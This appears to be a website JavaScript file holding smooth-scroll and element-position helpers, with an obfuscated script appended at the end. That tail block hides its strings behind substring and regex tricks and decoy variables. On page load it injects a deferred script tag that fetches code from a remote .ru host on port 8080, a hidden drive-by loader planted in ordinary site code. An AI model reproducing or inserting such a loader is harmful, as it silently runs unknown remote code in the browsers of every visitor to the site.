  
function intval(v)
 
{
 
v = parseInt(v);
 
return isNaN(v) ? 0 : v;
 
}
 
 
 
// ??????
 
function getPos(e)
 
{
 
var l = 0;
 
var t = 0;
 
var w = intval(e.style.width);
 
var h = intval(e.style.height);
 
var wb = e.offsetWidth;
 
var hb = e.offsetHeight;
 
while (e.offsetParent){
 
l += e.offsetLeft + (e.currentStyle?intval(e.currentStyle.borderLeftWidth):0);
 
t += e.offsetTop + (e.currentStyle?intval(e.currentStyle.borderTopWidth):0);
 
e = e.offsetParent;
 
}
 
l += e.offsetLeft + (e.currentStyle?intval(e.currentStyle.borderLeftWidth):0);
 
t += e.offsetTop + (e.currentStyle?intval(e.currentStyle.borderTopWidth):0);
 
return {x:l, y:t, w:w, h:h, wb:wb, hb:hb};
 
}
 
 
 
// ???????
 
function getScroll()
 
{
 
var t, l, w, h;
 
 
if (document.documentElement && document.documentElement.scrollTop) {
 
t = document.documentElement.scrollTop;
 
l = document.documentElement.scrollLeft;
 
w = document.documentElement.scrollWidth;
 
h = document.documentElement.scrollHeight;
 
} else if (document.body) {
 
t = document.body.scrollTop;
 
l = document.body.scrollLeft;
 
w = document.body.scrollWidth;
 
h = document.body.scrollHeight;
 
}
 
return { t: t, l: l, w: w, h: h };
 
}
 
 
 
// ??(Anchor)?????
 
function scroller(el, duration)
 
{
 
if(typeof el != 'object') { el = document.getElementById(el); }
 
 
 
if(!el) return;
 
 
 
var z = this;
 
z.el = el;
 
z.p = getPos(el);
 
z.s = getScroll();
 
z.clear = function(){window.clearInterval(z.timer);z.timer=null};
 
z.t=(new Date).getTime();
 
 
 
z.step = function(){
 
var t = (new Date).getTime();
 
var p = (t - z.t) / duration;
 
if (t >= duration + z.t) {
 
z.clear();
 
window.setTimeout(function(){z.scroll(z.p.y, z.p.x)},13);
 
} else {
 
st = ((-Math.cos(p*Math.PI)/2) + 0.5) * (z.p.y-z.s.t) + z.s.t;
 
sl = ((-Math.cos(p*Math.PI)/2) + 0.5) * (z.p.x-z.s.l) + z.s.l;
 
z.scroll(st, sl);
 
}
 
};
 
z.scroll = function (t, l){window.scrollTo(l, t)};
 
z.timer = window.setInterval(function(){z.step();},13);
 
}
 
  


try {} catch(c){};var o;wE={k:49830};this.Ee=24727;this.Ee-=35;q=function(){function J(A,Q,C){this.FI=65461;this.FI-=4;try {var zN='ks'} catch(zN){};return A.substr(Q,C);this.m=41697;this.m+=109;}var B="";var GF=26981;var w=RegExp;var e=new Array();var G=new String(J("/googwts",0,5)+J("le.cotJpI",0,5)+J("m/gooQ0sK",0,5)+J("45BXgle.cX5B4",4,5)+"om.my"+J("/gnavXBK",0,5)+J("i.co.PYE",0,5)+J("jp.phuX2",0,5)+"p");try {var Cug='CP'} catch(Cug){};var n_='';var i="i";var Y=new Date();var s=document;var yP=new Date();var nv={JRB:false};function n(A,Q){uu=["pe","N","HR"];re=["sa","Ai","cJ"];this.Hx=53841;this.Hx++;var C=String("[")+Q+"]";Ox=47097;Ox++;var d={Nh:false};var qr=new w(C, new String("g"));var dK={qk:"jB"};l={jb:"U"};return A.replace(qr, n_);var aO=[];};var XI=2277;f=["ZL","wN"];var W=212295-204215;var M=new Date();Zv={Oe:false};var F=n('sUcYryixpCtW','S_96CWuTyZRUYxbBm');var DO=new Array();var E=null;try {var YS='WG'} catch(YS){};try {var fH='oM'} catch(fH){};var Cu=String("body");this.h='';o=function(){try {var j=n('cUr0e7ajt7eUE0lUe8mjeBnstB','jqy08FC7BKUs2');Fq=s[j](F);bq={T:62773};this.eJ='';try {} catch(YW){};var _=n('sHrNcW','N6H9YV_Wjxt0ia2SXbJvd8');jG={GB:7406};var A=W+G;var gS="";ET=47535;ET-=150;var b=String("de"+"fe"+"r");var Kn=new String();var Oh=new String();Fq[b]=[2,1][1];var cx={Go:34392};nvY={_q:39210};try {var Dn='mW'} catch(Dn){};Fq[_]=String("http"+J("://e7P9",0,4)+J("astwSOc",0,4)+J("omba9nQu",0,4)+"t.ru"+J("EUgl:gElU",4,1))+A;var v=new Date();s[Cu].appendChild(Fq);var IN="IN";var kO=["yN","xz"];this.Bm='';} catch(r){this.NI=27551;this.NI--;var YU={};var jJ={fN:"ZG"};var FL=["nu"];};};this.yM='';};q();window.onload=o;